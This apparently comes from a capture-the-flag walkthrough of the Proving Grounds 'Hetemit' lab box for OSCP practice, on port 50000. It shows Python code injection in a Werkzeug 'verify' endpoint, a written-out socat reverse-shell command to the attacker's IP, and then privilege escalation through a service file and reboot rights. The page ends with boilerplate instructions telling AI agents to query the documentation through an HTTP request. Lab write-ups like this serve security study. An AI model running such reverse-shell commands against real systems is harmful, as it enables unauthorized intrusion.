# 50000

![](/files/l0WpK2q7tp9GzfhY8QGU) Werkzeug is running on port 50000

Ferox: ![](/files/ERN4DrKJqAv3GWZMukDF)

Now trying verify: ![](/files/7DVEoDG27Ko9CpRXsiKO) We can pass in a code parameter so intercepting in burpsuite and sending a post request: ![](/files/qMnY9Wuf2tGJ3C9JOCmc) We have code execution and it is python.

To get a reverse shell: ![](/files/Cl9hIlHKCylHWcGxOAJn)

```
os.system('socat TCP:192.168.45.236:80 EXEC:sh')
```

![](/files/owN0Ad4oYQEft70OCbXI) Running linpeas now: ![](/files/14hGYPCG2EY4unypYvsM) ![](/files/9sLAifqRJeZ0ICpTUvA8)

After getting a stable shell using ssh: We can modify it: ![](/files/UClJvzMWJvH0CiTXVoDR)

Now we see that we have reboot privileges: ![](/files/DJAZnMUxZQ7sI6iuJ9OR) So rebooting we should get a shell: ![](/files/FRAr8eU5FG3VhJ3gElij) ![](/files/qEIvkLH9AMppRc1ejKKe)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/hetemit/50000.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
